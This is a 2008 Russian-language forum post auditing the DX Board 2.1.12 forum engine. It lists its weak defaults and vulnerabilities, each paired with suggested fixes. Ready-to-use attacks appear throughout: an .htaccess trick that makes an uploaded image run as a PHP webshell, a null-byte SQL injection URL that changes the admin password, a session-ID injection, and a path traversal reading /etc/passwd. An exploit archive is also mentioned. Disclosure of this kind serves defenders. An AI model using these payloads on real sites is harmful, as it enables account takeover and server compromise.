Показать сообщение отдельно

  #5  
Старый 26.04.2008, 01:15
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
С нами: 10752806

Репутация: 1202


По умолчанию



Результаты проверки на безопасность.
Тестирование на XSS атаки не проводилось.

===================================

DX Board 2.1.12 final

===================================

Дефолтные настройки:

Database: dxboard
Table prefix: dx_
Admin login: admin


Желательно сделать немного рэндомными или оставить пустыми и добавить проверку на пустоту, чтоб пользователь заполнял при установке сам.

===================================

Основные настройки с низким уровнем безопасности по дефолту.

Желательно отключить:

[v]Разрешать регистрироваться пользователям с повторными адресами e-mail
[v]Разрешить незарегистрированным пользователям просматривать профили
[v]Разрешить незарегистрированным пользователям просматривать список пользователей
[v]Разрешить незарегистрированным пользователям просматривать список групп пользователей
[v]Разрешить незарегистрированным пользователям просматривать онлайн-статистику
[v]Разрешить незарегистрированным пользователям пользоваться поиском
[v]Разрешать незарегистрированным пользователям читать чат
[v]Разрешить модераторам менять авторов сообщений и тем

Рекомендую добавить настройку регулировку длинны сообщения из админки. Сейчас отведено строго 150 символов на сообщение.

===================================

Система контроля целостности файлов.

Следит только за .php фалайми. Необходимо отслеживать ВСЕ файлы в каталогах.

Мне ничто не мешает загрузить в /dxsmiles вебшелл lol.png и .htaccess с содержимым:

Код HTML:
<Files lol.png>
AddType application/x-httpd-php .png
</Files>
===================================

ereg() NULL-byte bypass

Движок форума на ~90% полагается в защите на ereg(),eregi() , которые не совместимы бинарно
и потому уязвимы к нулл-байту, прекращая обработку строки при встрече с ним.

Форум уязвим при magic_quotes=OFF.

Необходимо заменить эти функции на preg_match().

Например этот URL-эксплоит меняет пароль администратора:

/lostpass.php?dat=2&code=12345678901234567890123456 789012&nick=h4ck%00'+or+nick='admin'/*

===================================

Движок форума потенциально уязвим к возможным новым уязвимостям,
поскольку нет защиты от register_globals=ON что дает возможность определить неопределенные переменные,
а также magic_quotes=OFF что дает потенциальную уязвимость к SQL-атакам.

Рекомендуеццо сделать следующее:

[1] Самый простой способ - положить в корень .htaccess с содержимым:
Код HTML:
# Security
php_flag safe_mode on
php_flag register_globals off
php_flag magic_quotes_gpc on
[2] Однако 1й способ не всегда работает.
Желательно внести небольшие изменения в код:
1) При фиксе register_globals=ON возникает проблема с сохранением админской сессии. Не разбирался почему.
Вызвать в начале headers.php:
PHP код:
if(@ini_get('register_globals')) run_unset();
function 
run_unset() {
    if ( isset(
$_REQUEST['GLOBALS']) ) die('GLOBALS overwrite attempt detected');
    
$nounset = array('GLOBALS''_GET''_POST''_COOKIE''_REQUEST''_SERVER''_ENV''_FILES''_SESSION''nounset','input');
    
$input array_merge($_REQUEST$_FILES);
    foreach ( 
$input as $k => $v )
        if ( !
in_array($k$nounset) && isset($GLOBALS[$k]) ) {
            
$GLOBALS[$k] = NULL;
            unset(
$GLOBALS[$k]);
        }

2) При фиксе magic_quotes=OFF будет необходимо заменить вызовы "if(ini_get('magic_quotes_gpc')==1)" на "if(1)" в common.php, backup.php, adminmain.php
Вызвать в начале headers.php:
PHP код:
if (!@get_magic_quotes_gpc())
 {
  function 
addslashes_deep($value
   {
     
$value is_array($value) ? array_map('addslashes_deep'$value) : addslashes($value);
     return 
$value;
   }
  
$_GET array_map('addslashes_deep'$_GET);
  
$_POST array_map('addslashes_deep'$_POST);
  
$_COOKIE array_map('addslashes_deep'$_COOKIE);
  
$_REQUEST array_map('addslashes_deep'$_REQUEST);
 } 
===================================

Недостаточная проверка имени файла.

Дело в том, что файл вида lol.php.jpg в некоторых случаях обрабатывается апачем как пхп.

В аттачах(lol.php.zip)
/files.php
Тоже самое с аватарами и галереей(lol.php.jpg)
/profile.php

===================================

Аттакующий, имея привилегии администратора, может загрузить вебшелл как смайл.
Недостаточная проверка имени файла, точнее её полное отсутствие.

Валидный смайл с шелом в EXIF-тэгах прилагается.

/adminsmiles.php

PHP код:
      if(!copy($_FILES["sfile"]["tmp_name"],"dxsmiles/".$_FILES["sfile"]["name"]))
      {
        @
unlink($_FILES["sfile"]["tmp_name"]);
        
redir("<span class='err'>{$lang['txt970']}!</span>","adminsmiles.php");
      } 
===================================

Аттакующий, имея привилегии администратора, может выполнить произвольный пхп-код,SQL-команды,создать произвольные файлы,
используя фиктивный сервер обновлений форума.


Необходимо установить пароль для смены адреса сервера.

Эксплоит прилагается в аттаче.

/update.php

Формат команд

PHP код:
    preg_match_all("/>>>>>EVAL<<<<<(.+)>>>>>ENDEVAL<<<<</isU",$ans,$evlist);
    
preg_match_all("/>>>>>SQL<<<<<(.+)>>>>>ENDSQL<<<<</isU",$ans,$sqllist);
    
preg_match_all("/>>>>>FILE<<<<<:::::(\S+):::::(.+)>>>>>ENDFILE<<<<</isU",$ans,$fllist); 
===================================

SQL-inj возможна для забанненого пользователя =))

NEED: magic_quotes=OFF

/index.php?PHPSESSID='[SQL-inj-more1row]


PHP код:
if(!isset($PHPSESSID) && isset($_REQUEST['PHPSESSID'])) $PHPSESSID=$_REQUEST['PHPSESSID'];
if(!isset(
$PHPSESSID)) $PHPSESSID=session_id();

if(!isset(
$_SESSION['username']))
{
  if(
mygetcookie('username') && mygetcookie('pass'))
  {
    if(!
ereg("[{$lang['nickletters']}]",mygetcookie('username')) && !ereg("[^a-f0-9]",mygetcookie('pass')))
      
$result=@dbquery("select * from ".$pref."dxusers where nick='".mygetcookie('username')."' and pass='".mygetcookie('pass')."'");
    else
      
$result=0;

    if(
$result)
    {
      if(@
dbnumrows($result)>0)
      {
        
$uid=dbresult($result,0,'id');
        
$utp=dbresult($result,0,'usertype');
        
        if((!
checkban($uid) && @dbresult($result,0,'activated')==1) || $utp==1)
        {
          if(!@
dbquery("delete from ".$pref."dxsessions where sess='$PHPSESSID' or uid=$uid")) 
===================================

Читалка файлов.
Работает при отключенном интеллектуальном изменении изображений(по дефолту включено)

Меню->Основные настройки->
[ ]Применять интеллектуальное изменение размеров изображений gif, jpeg и png форматов

/check.php?act=2&addr=../../../../../../../etc/passwd


/check.php

PHP код:
$act=isset($_POST['act']) ? $_POST['act'] : 0;
if(!
$act)
{
  
$act=isset($_GET['act']) ? $_GET['act'] : 0;
}

switch(
$act)
{
  case 
'2':
    
$addr=isset($_GET['addr']) ? $_GET['addr'] : '';
    
    if(
get_param('imgresize')=='0')
     @
readfile($addr); 
===================================

Вложения
Тип файла: zip DX Board 2.1.12 Multiple Vulnerabilities.zip (4.6 Кб, 29 просмотров)
 
Ответить с цитированием